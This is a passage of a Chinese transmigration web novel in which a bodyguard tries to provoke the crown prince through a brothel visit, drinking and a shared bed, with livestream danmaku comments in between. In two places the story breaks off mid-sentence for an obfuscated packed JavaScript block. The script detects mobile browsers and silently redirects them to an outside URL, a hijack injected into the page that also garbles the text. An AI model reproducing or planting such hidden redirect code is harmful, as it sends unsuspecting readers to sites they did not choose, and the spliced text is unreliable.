穆辞忧第一次夸赞顾念安,故意说得暧昧轻浮,欲激怒顾念安。 顾念安却毫无波澜,在吹拂伤口的间隙,缓缓道:“孤幼时受伤…呼…父皇便这般做…呼…穆哥哥是救命恩人…呼…孤当竭尽全力…照料……” 弹幕【想看顾念安殚精竭虑,夜以继日地伺候穆哥哥】 【我也想看穆哥哥爽晕】 由此,穆辞忧想出新‘作死‘方式’:终日躺在床上养伤,啥也不做,提出奇葩需求,拼命使唤顾念安。 “殿下,臣要夜壶。” “诺,孤帮你扶雀儿” …… 3. 品箫 怪就怪在穆辞忧无论怎么使唤顾念安,顾念安都毫无脾气。 穆辞忧只好换新的作死方式。 这日顾念安正帮穆辞忧擦拭身体,穆辞忧侧过身,手指点了一下自己的后腰,示意顾念安擦此处,嘴上说道: “殿下,臣四肢都躺退化了,臣觉伤势转好,今日先去喝花酒,活动活动筋骨,明日便可辅佐殿下。” 上次提起喝花酒时,顾念安明显发怒了。穆辞忧再提及此事,试探顾念安的底线。 …… 暮色四合,华灯初上。 大红灯笼映着“芳菲院”的金匾,金匾下的青楼门口香风漫卷,华车宝马络绎不绝,莺声燕语隔帘相招。 在门口出现了四位丰神俊朗的公子:一个潇洒,一个朝气,一个儒雅,一个冷峻。他们一齐迈步而入…… 儒雅公子把潇洒哥拽到一旁,问道:“你为什么把太、太英俊的公子带来了。” 还能是为什么,为了作死啊! 倘若今日顾念安夜宿青楼,皇帝知道后,肯定会杀了那位怂恿放纵太子进入青楼的人,那人便是少保穆辞忧! 那位仗义的穆哥哥,竟是用生命换来了太子殿下的初次呢! 潇洒哥耸耸肩,假装无奈:“小少爷非要跟我来。墨煜兄莫介意,再过六个月,他便年满十八岁,合该知晓成人那点事儿了。大少爷十八岁那年,都娶妻生子了。我今日给小少爷开蒙。” 大少爷指的大皇子,字凯旋,年二十岁,封荣王,宁妃所生。 一年后,刘贵人生出了二皇子,字归朝,封慎王。顾念安行三,他四岁时,父皇和母后又给他填了一个妹妹,封康乐公主。 皇后香消玉殒后,皇帝再无所出。 思及此,潇洒哥又转头对着那位冷峻面瘫,批评道:“说来这事儿也怪你,小少爷娘亲走的早,婚姻大事没人主动张罗。你合该与老爷提提男婚女嫁的事,不孝有三,无后为大,咱们家小少爷连个通房都没有。” 弹幕【顾念安有通房啊!】 【顾念安有通房啊!】 【顾念安有通房啊!】 …… 潇洒哥看着刷屏的弹幕一惊,问向朝气少爷:“少爷,你有通房了!怎么不告诉愚兄?” 朝气少爷不语,冷眼静看着在大堂中央跳舞的白衣女子。 一双玉足轻旋,朵朵莲花在她脚底绽放。乐曲骤急,云袖倏地甩开,旋舞加快,素纱飞扬。乐声在最激越处,铿然而止!此女一跃,消失不见。 “赏!” 朝气少爷随意一挥手,抛出一大把金瓜子,目光所及,是一片泼洒的流光。 “辟吧辟吧”,四落在地,如初冬凉雨,敲打房檐,也敲进了老鸨的耳朵。 穆辞忧望着太子散金,不禁默默赞叹:天女散花也不过如此。 一时满堂喧嚣鼎沸,红男绿女一拥而上,挨肩并足,磕头碰脑,似蚊蝇逐光。 从蚊蝇中挤出一个徐娘半老的女人,瞧见这位金主儿,手指一松,“哗啦”,抢来的半把金瓜子又落在地上。 这位小金主,明眸朱唇,风华正茂,唯独神色寡淡疏离,不染半点凡间烟火,分明坐于‘买笑追欢’之中,却自成一方仙境。 老鸨在风月场上混了这么多年,金子银子没少见,如此标致脱俗的人物可是罕见。 面对英俊又多金的贵客,老鸨不敢怠慢,嘴都乐到耳根,“这位少爷是生面孔,喜欢什么样的姑娘,金妈妈我给您安排上。” 顾念安垂眸敛袖,“方才跳舞的胡姬就行。” “少爷您眼光真毒,惊鸿是我家的花魁,不过~”老鸨把尾音拉长,顿了顿,抛了一个媚眼:“她只在内阁接客。” “内阁?”穆辞忧一寻思,反应过来,这内阁就是现代“足疗按摩大保健店的上二楼”,消费昂贵且有特殊服务。 别说特服了,穆辞忧活了二十多年,连女人的手都没有摸过,只有从未谋面的网络女友晚风。 穿书后,被那两位狐朋狗友带来青楼好几次了,也无非是喝酒、听曲、吹牛X。 “砰!” 顾念安又把一块大金锭砸在酒案上,金灿灿的光能把狗眼晃瞎, “别废话,唤她来陪孤、陪我吃酒。” 这纸醉金迷的地方,只要付够赏钱,管他是不是内阁,客人带妓女出局都行。 “金妈妈我这就去叫她下楼陪公子!”老鸨点头哈腰,揣入金子,一溜烟不见了。 穆辞忧见状,凑到顾念安耳边:“少爷真是第一次来?这一套儿比我都熟稔。从实招来,您以前是不是偷偷去过别的勾栏瓦舍。” 青楼三教九流汇聚,且人多眼杂。他们的对话都是贴着耳朵说,防止他人听见。 “教坊,官妓乐舞佐酒助兴。” 顾念安的回答好似吹气般吹入穆辞忧的耳朵,惹得穆辞忧一阵瘙痒。 官妓一般都是抄家或落魄的贵女们,她们才貌双全,能歌善舞。穆辞忧蠢蠢欲动,想要见识一下皇家御用歌舞团。 “你这做兄弟的不讲究,亏得天天叫我穆哥哥,也不带哥哥去教坊开开眼。” “那时未识北境穆郎。” 弹幕【认识穆郎后,他就不去了】 穆辞忧徒然生出一种自豪感,若是他能打字,定要和弹幕对话:那必须的必啊!我管教他多严,他不敢去,也没时间去。 不多时,惊鸿再次现身。 “公子安好~”惊鸿径直奔着顾念安走来,翘臀挤开了穆辞忧。 她腰肢一软,自然地依偎在顾念安的肩头。 穆辞忧略有不悦,垂着嘴角,坐回自己的位置,用余光瞥到顾念安和惊鸿也在咬耳朵,不知说些什么。 惊鸿蓦地看向穆辞忧,张开红唇:“公子要过来坐一起吗?” 这一问让穆辞忧感到意外:难道我也是你们PLAY的一环? “不了,不了。” 惊鸿打量着穆辞忧,手帕半掩嘴:“看公子的容貌,大概也有胡人血统。公子不叫姑娘作陪,可是喜好南风?我芳菲院也有小倌。” “啥玩意?男风?小倌?”穆辞忧疑惑问道。 顾念安一只胳膊架在酒案上,手支着额角,双眸顿时黯然无神。 惊鸿站起来,走向穆辞忧,用手帕甩了一下穆辞忧的肩膀,巧言道:“龙阳之癖啊,公子不懂吗?” 穆辞忧满脸写满问号。 惊鸿坐到穆辞忧身边,身子倾斜,红唇凑近穆辞忧。 穆辞忧嗅到脂粉香气,周身一颤,连忙扭身往旁边一缩,惊鸿又追着穆辞忧一挪,穆辞忧又往旁边一缩…… 你追我躲,两人已经蹭到酒案外。穆辞忧急于躲开惊鸿,一个踉跄,差点摔个大屁蹲。 惊鸿眼疾手快,一把拽住穆辞忧的胳膊,“小女子就和您说一句悄悄话。” 穆辞忧不敢动,缩着脖,皱着眉,等惊鸿凑到耳边,仿佛在等待什么刑罚。 “男子之间的爱悦,叫龙阳之癖。我看公子可能有此癖好。” 男子之间?一个陌生的词汇在穆辞忧脑中浮现“男同性恋”。 直男穆辞忧连忙辩解:“姑娘误会了,在下并无此癖。” “公子若是没有龙阳之癖,为何身体排斥小女子的靠近,嘻嘻~”惊鸿说完,又回到顾念安身边。 弹幕【不!你有龙阳之癖!】 【不!你有龙阳之癖!】…… 穆辞忧没心情搭理弹幕,眼看着惊鸿那双雪色柔荑拿起酒壶,斟满酒杯。 一只柔荑把酒杯敬给顾念安,似要喂到顾念安口中。 琉璃钟,琥珀浓,小槽酒滴真珠红。 穆辞忧也端起酒杯,杯中酒一饮而尽。 这酒为啥是酸的?真酸啊!像是喝醋一般。 一定是酒有问题! “砰!砰!砰!” 周墨煜正在一群女人堆里吟诗作赋,听到声音,扒拉开女人一瞧,是顾念安的酒杯掉在地上。 惊鸿吓得躲到顾念安身后,娇声道:“公子的朋友为何耍脾气摔杯子?是奴家哪里招待不周?还是公子的朋友……呷醋了?” 顾念安仍不语,刀子般的眼神盯着穆辞忧。 周墨煜心中一震:完了,少爷发火了。 “老弟,你抽什么风,摔少爷酒杯作甚?快给少爷道歉。”周墨煜赶忙过去调和。 穆辞忧也不说话,瞪了惊鸿一眼,拉起顾念安就走。 顾念安也随着穆辞忧走,不做挣扎,只是回头,朝着惊鸿眨了一下眼睛,不知何意。 弹幕【穆哥哥奶凶奶凶的】 【木狼护食,给一支“穿云箭”安慰主播。】 “木狼?!是我么” 周墨煜穿过觥筹交错的人群,走到一僻静处,朝着徐海兴的肩膀敲了两下。 正在听曲自酌的徐海兴,当即起身,掏出钱袋扔在座上,砸出声音,扰乱了曲调,惊动了歌伎。 徐海兴往自己身上披着鹤氅,同时对歌伎说道:“我们四人赏的缠头。” 这俩人也跟着穆辞忧往外走。 穆辞忧牵着顾念安的手,迈着大步,走路生风。 不小心,与一个青衣客人擦肩。 青衣客人正要开骂,一抬眼,呆住了。 刚回神,见穆辞忧身后又跟出两位公子,又一怔,心神再次失踪了。 老鸨跟在四位公子的最后面,摆手相送,“四位贵客慢点走!” 她目送他们出了芳菲院的大门,嘴上碎叨:“一群雏儿们,正是满身火气的年纪,还装清高假正经。”又掂了两下钱袋,“不过出手倒是阔绰得很。” 青衣客人再次缓过神儿来,问向老鸨:“金妈妈你真是雷厉风行!前几日你说达官贵人中有崇尚男风者,芳菲院要买一批小倌陪客,刚刚那四位哪个是小倌??还是四个都是?出局多少缠头?” 老鸨给了青衣客人一个大大的白眼。 出了芳菲院的门,已是月上柳梢。 徐海兴的香扇敲上穆辞忧的后脑勺,“辞忧兄何故败兴而归?” 穆辞忧重哼了一声,“哼,这青楼的酒中有药,我喝了一口,胃中反酸。” 这个作死的法子不行,青楼鱼龙混杂,假如有歹人想暗害顾念安,其中可动手的环节太多,顾念安先死了什么办?想想就后怕! 穆辞忧转头对顾念安道:“酒乃穿肠毒药,色乃刮骨钢刀。少爷千金贵体,以后勿去腌臜之地。此行是臣之错,请殿下治罪。” 徐海兴咂了咂嘴:“我喝了一壶酒,怎未察觉?”又疑惑道:“是否唯独辞忧兄的酒有问题?” 周墨煜笑道:“我见那位异域舞女一直往辞忧兄身上靠,莫不是她见色起意,特意给北境穆郎的酒里加料,想今晚得手啊!哈哈哈。” 今晚作死计划落空的穆辞忧,心情低落,懒得开玩笑。 “保护少爷是我职责所在,容不得半点疏忽。在家里少爷的食物皆由我试毒,在外面更要多加小心。宁可错杀一千,不可放过一个。”紧接着朝徐海兴拱手道歉,“抱歉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793627|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫了海兴兄的雅兴,对不住。” “害!我不过是陪辞忧兄出来散心罢了。哪有雅兴,这里的曲儿弹得根本不行!”徐海兴迈着闲庭信步,摇头否定。 周墨煜立刻接上话:“这不正好咱们出来了么。海兴兄,前面就快到我府上了,我为你操琴奏曲,咱们共谱风雅。” “墨煜兄还会弹曲?”穆辞忧愕然问道。 周墨煜颔首答道:“对音律略知一二。” “墨煜兄谦虚了,‘曲有误,周郎顾’。以前在教坊听曲儿,有的姑娘故意弹错了,就为了让周公子看她一眼。”徐海兴夸周墨煜时,那张面瘫脸上,难得出现神采奕奕的表情。 穆辞忧松开了牵着顾念安的手,指着这三个人埋怨:“和你们称兄道弟半年了,你们也不带我去教坊长长见识,看看美人。” 周墨煜轻叹一口气:“辞忧兄,并非我等不尽地主之谊,这事儿得从令尊说起,护国将军薨后,陛下辍朝数日,亲自写哀诏,追封承恩侯,皇帝服缟素百日,王公宗室群臣持服二十七日,京城各寺观鸣钟三万杵。官家禁社戏、作乐、筵宴一年。穆将军的丧礼规格和上次皇后崩时的国丧不相上下。” 弹幕【穆老将军=皇后?】 【承恩侯,承什么恩,还不明显吗?】 徐海兴打开手中折扇,补充道:“陛下说‘礼不下庶人,勿惊扰百姓’,故民间不禁秦楼楚馆,而教坊停一切鼓吹。” 他边说边扇摇,随着手部动作,鹤氅的衣边在风中微微摆动。 因穆辞忧紧挨着徐海兴,受到扇子扇来的寒风,打了个冷颤,下意识地拢了拢自己的大氅。 随即侧过头,脚步微微一顿,伸手摸上顾念安的狐白裘领口,将领口重新拢紧,指尖绕着系带,挽成个死结,指背不可避免地轻轻擦过顾念安的下颌。 初冬夜凉,顾念安莫再染了风寒,否则,穆辞忧怎么肆意使唤他。 穆辞忧看着包裹严实的顾念安,觉得满意了,才缓缓道: “我爹死在北境,你京城敲钟,遥经千万里,他就算活着也听不着!人都死了,要那些形式作甚?我爹可没那多讲究。既然教坊不让去,我也要去周府听墨煜兄操琴。我爹说‘人活着就要活得自由畅快,及时行乐。’” 穆辞忧只是同步了角色记忆,对书中的老爹没啥感情,最后一句穆将军没说过,是穆辞忧瞎编的。 沉默一路的顾念安终于发话了:“好,有劳周公子带路。” 路边一家小酒肆未打烊,旗杆上挑着一只孤零零的灯笼,上面的“酒”字映得半明半暗。 周墨煜望了一眼灯笼,心中明了,左手握拳,砸到右手掌上,啪一声:“诺,夜风凉寒,我珍藏了几坛包甜的好酒,咱们喝了暖暖身子。” 万丈红尘在他们身后褪色,溶成水墨长卷。长街尽头,有一点零星的灯火,周府到了。 穆辞忧、顾念安、徐海兴拜见了周老爷和周老夫人。 周老爷任太尉,见太子登门,不敢怠慢,恨不得把全府的人都叫出来跪拜太子。 但太子顾念安特意嘱咐,不让声张,只为喝酒听曲。 周墨煜冲着周老爷眨眨眼睛,周老爷便识趣得携夫人退下了。 两个侍从抬出七弦琴,周墨煜席地而坐,将琴斜置于膝上,平添了几分随意潇洒。 穆辞忧与顾念安共用一张酒案,大腚紧紧挨着顾念安,生怕再被别人挤走。 徐海兴给自己斟满,神情少了几分往日的严肃,举着酒杯隔空对着周墨煜一举:“举酒和神气,弹琴悦性灵。” 周墨煜颔首浅笑回礼,右手向外一拨,便是山涧灵泉落下一滴。 吟、猱、绰、注,手腕带出行云流水。 穆辞忧根据惊鸿陪酒的样子,想到了新作死手段:若我让高高在上的太子殿下喂我喝酒,像对待妓女一般,折辱顾念安,他肯定气得咬牙切齿,想杀我。 “殿下,您给臣斟酒,喂臣试毒。” 顾念安淡淡道:“穆少保没长手吗?” 嘿呦,成效颇佳!太子殿下生气了! 穆辞忧有手有脚,偏偏要欺负顾念安,揶揄道:“臣后背受伤,牵连手臂,来时路上又受了风寒,现下手臂疼痛,虚弱无力。” 顾念安略一沉吟,倒满一杯酒,喂到穆辞忧嘴边。 穆辞忧轻啜一口酒,舌尖触到一丝清香,入口醇厚甘甜,无辛辣感,咽进喉中,只觉浑身温暖。 “酒盅量小,尝不出毒,请殿下再喂臣一杯?” “穆少保多喝一些,驱驱寒意。” 顾念安又给穆辞忧续上一杯,一杯接着一杯…… 穆辞忧脑袋迷迷糊糊:“我想要干啥的???我忘了。。。不管了,先喝酒吧。” 一曲终了,山水尽在琴中,亦在心中。 “绝!”顾念安拍手称赞。 穆辞忧带着几分醉意,凑到顾念安脸旁,说道:“殿下觉得好听,臣也学学琴,弹给殿下解闷。” “操琴略难,穆少保可以给孤品萧。” 顾念安眼睛半眯,嘴角上扬,引出梨涡。 他这一笑,胜过春梅绽雪、秋蕙披霜,胜过凡间一切美酒。 穆少保犹如沉沦在瑶池仙酿之中,再难有半分抗拒: “诺!” 弹幕【是品那个萧吗?】 【太子你好坏呀!】 【顾念安你安的什么心?】 【顾念安你脑子里都是什么颜色!】 【要看品萧!一支“穿云箭”!】 4. 交错 从周府出来,穆辞忧喝得站不稳,一只胳膊搭在顾念安的肩膀上。 周墨煜去叫马车和侍卫。 仅是等马车的片刻,天上零零落落飘下几颗雪粒子。 顾念安贴着穆辞忧耳朵,悄声道:“与君同淋雪,此生共白头。” “battle,我要battle致死!” 穆辞忧醉得一塌糊涂,只记得要作死。 顾念安面颊冒出梨涡,重复说了一遍:“诺,白头至死。” 弹幕 【卧槽!这都能接上?】 【鸡同鸭讲,歪打正着】 【跨服聊天啊!】 雪花飘落在顾念安头发上,穆辞忧立刻脱了大氅,盖住顾念安的脑袋,“小心风寒,你不能死。” 顾念安双眉弓起,赶紧从头上拿下大氅,又披回穆辞忧身上:“你也别染上风寒。” 周墨煜回来,正巧看见顾念安在给穆辞忧系着大氅,又想起弹琴时,顾念安喂穆辞忧喝酒,这可如何是好啊! 穆辞忧望见周墨煜,喊道:“我们?海兴?” 仅说四个字,周墨煜也能知晓其意,答道:“我护送你们回东宫,海兴兄住于我府上的雅阁。” 在马车里,穆辞忧倚靠着顾念安的肩膀头,闭目小憩。 顾念安随口道:“看起来,你与徐海兴交情不错。” 周墨煜打趣回答:“我们两家是世交,我娘与他娘当年互相指着对方肚子结为婚配,不巧到生出来的皆为男子,哈哈哈!” 顾念安眼睛一放光:“哦?那令堂可失望了。” 周墨煜又道:“我爹与他爹做主,让我俩结为异姓兄弟。我们二人从小玩到大,一同读书、一同中举、一同登科,一同入仕,如亲手足般。” 说起‘手足’,周墨煜故意提起了大皇子。 “大少爷那边最近行动有点儿勤,这一年来刺客、投毒、弹劾、暗害,每隔几日便是一次。这次狩猎若不是辞忧兄在您身旁,后果不堪设想。” “哼,大少爷养的那只狗,汪汪了两句,说狩猎那天,把所有侍卫都调去保护父亲,责怪我闯入了偏僻之地,就轻松洗脱了罪名。” 顾念安怎会不知秋围刺杀真相?那日是大皇子指使人刺杀他,当时偏偏身边没有任何侍卫,肯定有人故意做局。能调走侍卫的人,正是御林军统领江叶光,宁妃的哥哥,大皇子的舅舅,也就是顾念安口中的那只狗。 周墨煜道:“一只狗哪儿有如此聪明,是主子教得好啊。” 顾念安无奈叹道:“哎,怕就怕是那位诡计多端的老管家教得那只狗!大少爷与我,虽非同母所生,亦是手足兄弟,他仅想让我垮台,不忍取我性命。而我亦不能把大哥如何,只好收拾了几个狗腿子。” “小少爷您宅心仁厚,可辞忧兄早晚会成家立业,不能永远护在您身边,您迟迟不反击,难料哪天大少爷和老管家真的下了狠手……”周墨煜不敢往下说。 这位老管家指的是丞相江炎霆,是宁妃与江叶光的父亲、大皇子的外祖父。大皇子与江家沆瀣一气,在朝廷中结党连群,蛇鼠一窝。 “这浑水泥潭我必定要趟入,不能总是让他替我受伤。”顾念安稍稍侧头,视线投射在酩酊大醉之人身上,目光瞬间变得柔和。 小雪沫子落在地上,昏黑街道上闪着晶莹的湿痕,马车的轱辘沿着旧车辙滚到了宫门口。 雪霁了,月明了。 “殿下,他……”周墨煜搀着穆辞忧下马车。 顾念安搭上手,“交给孤照顾便是,这些日子,他仗着自己有伤,对孤颐指气使,孤在东宫就是他的小丫鬟。” 周墨煜噗嗤一笑。 穆辞忧也稀里糊涂的跟着傻乐:“嘿嘿,小丫鬟。” 周墨煜想证实心中猜测,便旁叫侧击:“殿下,芳菲院里的那位胡姬,臣明日买下送到东宫。” 顾念安尬笑两声,“哈、哈,不必。孤是逢场作戏罢了。” “也对,殿下乃凤子龙孙,圣体不染脏污。臣以后多留心,若遇见家世相当、异域风情的大美人,定介绍给殿下。” 顾念安身体僵住,手中失力,穆辞忧差点摔倒,幸亏周墨煜在另一侧接住。 周墨煜喉结动了动,没有发出声音。 眼前正有一位异域风情的醉美人!凭着皇帝与穆将军的交情,假如穆辞忧是女人,稳坐太子妃之位,而命运好似故意作对一般,他们不巧也生了俩小子! 宫内的辇轿驶来。 周墨煜克制着自己的面部表情,不让顾念安看出一丝变化:“殿下,咱们扶穆少保上辇轿吧。” 穆辞忧斜坐在辇轿上,周墨煜嘴唇几度翕动,最后终于说出了一句:“辞忧兄,莫给殿下添麻烦。” 弹幕 【穆辞忧每日的乐趣就是给顾念安添麻烦!】 “诺!诺!知~知道,下次再咱们再喝!”穆辞忧喊道。 宫门矗立像巨兽张着大嘴,那顶被大嘴吞噬的辇轿在雪地中踉跄前行。 周墨煜的目光粘在辇轿上,辇轿每摇晃一下,他就轻叹一声,声声叹息连绵不绝。 直到辇轿抬向皇宫深处,抬向无边无际的黑,抬向渗入骨髓的冷。 抬到了东宫。 长喜终于盼来了太子平安而归,但一见到穆辞忧又没了好脸色。长喜在东宫亲眼看着穆辞忧是如何对太子殿下呼之即来挥之即去,那可是尊贵的储君,未来的君主! 有眼尖的宫女上前,想服侍顾念安脱下狐白裘,却被顾念安制止了。 “不必伺候了,下去吧。” 那件狐白裘的系带是个死结,顾念安怎么也解不开。 穆辞忧带着一身酒气帮顾念安解开那团死疙瘩,“开了”,之后打了一个醉嗝。 “长喜,派人打水沐浴,准备醒酒茶。” 顾念安帮着穆辞忧清洁干净,扶他到床榻上。 “晚安”穆辞忧说完这二字,往后一仰,沾枕头就睡着了,连醒酒茶都没喝。 顾念安瞅了一眼挂在衣架上狐白裘,自己喝了醒酒茶。 深沉的夜,没有烛光。 一点暗弱的月光,从纱幔缝隙中穿过,流淌在穆辞忧半边脸上。 顾念安躺在床内侧,翻来覆去睡不着。 穆辞忧也不知道做了什么怪梦,胡乱呓语,唯有两个字声音大且清晰: “晚儿!晚儿!” 这是穆辞忧网络‘女友’晚风的小名。 “穆哥哥,孤在。”顾念安认为穆辞忧在叫自己,便阴差阳错的答应上。 巧了!太子殿下于五月初一的晚上出生,名晚,字念安。顾晚是他的大名,晚儿是他的乳名! 原本是桥归桥、路归路,偏偏桥上通了车! 顾念安伸出手指,指尖触到穆辞忧面颊,戳出一个浅浅的窝。 穆辞忧喉间忽然发出一声模糊的咕哝,嘴也跟着微张撅起。 顾念安心中窃喜,手指滑到穆辞忧的唇瓣上,轻蹭着唇形的棱角。 屋内能听见穆辞忧的呼吸声,以及顾念安的心跳声。 顾念安的唇鬼使神差地靠近穆辞忧的唇,一寸一寸,越来越近,几乎要贴在一起了。 只差最后一点点…… 穆辞忧梦中动了动嘴唇,顾念安身形猛地一震,背上惊出冷汗。 顾念安屏声敛息须臾,将刚才摩挲过穆辞忧唇瓣的手指,点到自己的唇上。 穆辞忧又呓语:“晚儿,来我这儿~” 顾晚儿掀开自己的被子,壮着胆子,钻进穆辞忧被窝里。 弹幕【直男魅魔的诱惑】 两人虽各自穿着里衣,体温却能互相传导。 “穆哥哥,你被窝里好暖~”说着,他的手不由自主地探进穆辞忧的里衣。 “穆哥哥的手感,比孤想象中的还要好。” 穆辞忧又来了一句:“晚儿,你别哭哭,穆哥哥喂你吃荷花酥。” 又凑巧,网络‘女友’晚风也称呼穆辞忧为‘穆哥哥’。 这误会的鸿沟,愈发宽阔,中间的隔阂是一个时空。 顾念安心里咯噔一下,又以为穆辞忧梦到了自己,蹬着大脚摇晃,喜不自禁。 “原来穆哥哥心里也有孤,甚至梦里惦念的人都是孤。” 回答声只有细微的喘息。 顾念安与睡梦中的穆辞忧对话: “穆哥哥全身嘴最硬。初见那日,你表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793628|190591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面上训斥孤,打落荷花酥,不许孤吃甜食,梦里却深深记着孤的口好。母后在世时,也曾这般训斥孤,不许孤吃甜食。孤听到久违的训斥声,竟然激动地哭了。” 弹幕【穆哥哥无心插柳柳成荫!】 “穆哥哥,你今日为何说我有通房?我不知如何回答。其实父皇想给我安排通房,我未同意。因我床榻上躺了一位异域风情的大美人。若是别人抢了大美人的床位,他会吃醋。” 穆辞忧睡着了,听不到顾念安说话,也看不到一条条弹幕: 【穆通房,别睡了,大美人,你醒醒!】 【穆通房,他连‘孤’字自称都不用了。】 “今日我故意和别的女人亲近些许,他就吃醋了,真是个大馋小子!” 弹幕【他太馋啦:p】 【顾念安要把穆通房喂饱饱哦~】 “大馋小子也不怕被毒死,为其名曰替我尝膳试毒,却把美味的御膳全部吃光!之后,他会亲自下厨,补偿一份难以下咽的菜,强行喂给我吃。他叫那些菜为黑暗料理。” 【顾念安你也可以强行喂穆辞忧吃别的东西~】 【穆辞忧什么都吃得下】 【顾念安会撑死穆辞忧!】 【顾念安会撑死穆辞忧!】 …… 穆辞忧猝然翻身,顾念安的手迅速从衣襟中撤离。 “这位大美人通房,在睡着后,经常翻身、打把式、练武功,给我挤到墙角。某次,他在梦里施展拳脚,碰巧,一脚踢飞了刺客。” 弹幕【勇猛!顾念安躲在墙角是自保啊,要不被踹飞的就是他。】 【穆通房床上功夫好!】 【穆通房床上功夫好!】 …… 锦被下,一根修长笔直的玉腿,压在了顾念安腿上。 “晚儿,我骑在上面~”穆辞忧又嘟囔着,似乎这个梦不寻常。 顾念安一笑:“腿上挺有劲儿,别急穆少保,我登基后,会特封你为骑龙将军,也会让你成为最有实权的臣子。” 穆辞忧梦呓:“好,我都听晚儿的。” 弹幕 【骑龙?】 【必须有劲儿,穆少保骑术一流!】 【穆少保骑术一流!】 【穆少保骑术一流!】 “……” 驴唇对上马嘴,错位聊了一夜。 穆少保再次睁眼,太阳已经晒到他的臀。 一看右上角【主播0,积分15万】 昨晚上发生了什么? 穆辞忧伸了个懒腰,“太阳公公午安,我又开启了‘作死’的新一天。” 他起身时,发觉被子里有东西。一掀被子,见顾念安蜷缩在被子里熟睡,四肢抱在一起,好似孩童。 又见褥子上有一摊白色痕迹! 脑中一道闪电劈来:“不会吧?我昨晚上做了个梦就这样了?” 不对,这一摊也有可能是这位小龙崽子弄的! 穆辞忧私下检查了自己里衣,未沾一丝污渍。只是自己大腿内侧,有些红痕。 那褥子上的白色痕迹诚然是顾念安所遗留! 这个孩子能当爸爸了! 大手一挥,朝着太子的臀重重打了一下,“太阳晒屁股了,快起床。” 顾念安睁开了惺忪的睡眼,挠了挠头发,“今日无需上早朝。” 穆辞忧训道:“你说说你,这么大人了,睡觉也不老实,怎么滚到我这边了?滚就滚了,还弄脏了我的褥子。” 顾念安打眼一瞧,赧然笑道:“孤赔你一个新的。” 弹幕【昨夜太子意淫通房啦!】 【YY半宿】 见弹幕,穆辞忧忆起昨日问顾念安的通房一事,顾念安未作答。 穆辞忧来了半年左右,未见到通房其人,心中好奇不已:“顾念安的通房一定长得美如天仙,很讨顾念安喜欢,所以顾念安把她金玉藏娇,怕别人和他抢!” 眉头一纵,计上心来! “假如我勾搭上了那位通房,欺朋友妻,夺人所爱、臣夺君妻……那我岂不是会被杀头!” 穆辞忧浮想联翩,仿佛看见死神正向他招手,不知不觉翘起嘴角。 5. 秽乱 好奇心一念即生,穆辞忧愈发想见到那位通房,看看他究竟是何方神圣? “这里没有,哪里都没有!”偏殿、书房、亭台楼阁……穆辞忧几乎踏遍了东宫的每一块地砖。 那通房被藏在了何处? 穆辞忧甚至撬开了东宫私库的铜锁,将库内翻了一遍。 长喜脸上渗出细密的冷汗:“少保喂~您身体刚痊愈,又开始干杀头的事儿了?强闯私库是大罪啊!要是怪罪了下来,咱家可担不起呦~。” 穆辞忧一抱拳:“公公勿担心,我近日察觉东宫夜里有人鬼鬼祟祟,怕有刺客潜伏在东宫,正在挨个房间巡查,这私库也不能疏忽遗漏。若是上头怪罪下来,公公把罪责往我身上一推,让我一个人死,不连累您。” 长喜拿出手帕擦汗:“少保真乃忠心耿耿啊!为了太子的安全,都不要命了。” 穆辞忧道:“哪里,哪里,我一条贱命死不足惜!对了公公,您伺候殿下多少年了?殿下身边……” 他觉得长喜伺候顾念安许久,应该知道通房的事,旁敲侧击了几句,却未从长喜口中打听到关于通房的半点儿信息。 终于皇天不负有心人,穆辞忧搜索一圈,还真找到了一条线索。 在东宫书房的暗格内,翻出一个明黄色大肚兜! “这小子居然藏了个肚兜,看不出来他这么闷骚!” 穆辞忧忽然想起有一次和晚风聊天,晚风说觉得古代女子的肚兜非常漂亮,并说自己初次也要穿着肚兜。 他抖搂开肚兜,定睛一看,心中叹道:“这个通房女乃子够大的啊,难怪能诱惑顾念安。” 一种抓奸在床的愤怒,在穆辞忧心中勃然而生:“这小子背着兄弟我,偷娘们儿!” 他感觉自己被背叛了,气得血压飙升,缓和片刻后,转念细想: “顾念安天天与我同床,这通房也没真正通过啊,有可能通房暂时住在其他宫殿,未住在东宫。” 格局打开,不能只在东宫坑人,要去其他宫殿作死! 穆辞忧利用皇帝赐给的御前行走特权,在皇宫里溜达,东瞅瞅西望望。 各个后妃宫殿都留下了他的脚印。 “娘娘们,宫中混进了一位女刺客,胸围很大,臣要一一核对。” 瞎话一编,信口拈来。 后宫佳丽见穆辞忧来访,一个个掩面含羞,暗送秋波,可惜媚眼都抛到地上了。 穆辞忧都不正眼看她们的脸,低着头,手中拿着个肚兜,往佳丽的上半身比划。来来回回,一位又一位。 弹幕【穆辞忧尊嘟是抓刺客?】 【不知道啊,穿书直播缺点就是互动感差】 【看起来,他像在私通后妃,秽乱宫闱。】 【秽乱宫闱可是死罪啊!!!】 【穆辞忧没办法回复咱们,但咱们可以告诉他。】 【主播快住手!你会死的!!】 【主播快住手!你会死的!!】 …… “会死!好极了!!我加快速度,争取今日把后宫的娘娘们骚扰一遍。” 这件事最终惊动了皇帝! 御书房弥漫着清冽的墨香,紫檀御案之上的奏折整整齐齐,落成左右两摞。皇帝的目光从两摞奏折中间空隙穿过,落在穆辞忧身上。 